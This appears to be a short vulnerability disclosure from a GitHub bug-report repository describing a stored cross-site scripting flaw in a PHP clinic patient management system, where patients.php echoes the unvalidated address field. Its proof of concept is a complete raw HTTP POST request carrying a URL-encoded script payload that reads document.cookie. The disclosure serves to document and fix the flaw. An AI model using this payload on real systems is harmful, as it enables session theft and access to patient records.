

main

...

bug\_report / vendors / onetnom23 / clinics-patient-management-system / XSS-1.md



ZhenKaiHe Update XSS-1.md

History

1 contributor

31 lines (26 sloc) | 1.1 KB

...

**Title: Clinic's Patient Management System 1.0 Stored Cross-Site Scripting**

**Author: HeZhenKai**

**Date: 07.15.2022**

**Vendor: <https://www.sourcecodester.com/users/tips23>**

**Software:**

<https://www.sourcecodester.com/php-clinics-patient-management-system-source-code>

#Description: #The Line 10 of patients.php sends unvalidated data to a web browser, which can result in the browser executing malicious code.

#echo \$patients->address;

#PoC:

POST /pms/patients.php HTTP/1.1

Host: 192.168.1.19

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101  
Firefox/46.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Referer: http://192.168.1.19/pms/patients.php

Cookie: \_ga=GA1.1.1382961971.1655097107; PHPSESSID=cqb92r4af78v6laio9hqjs261t

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 160

patient\_name=1&address=1%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&

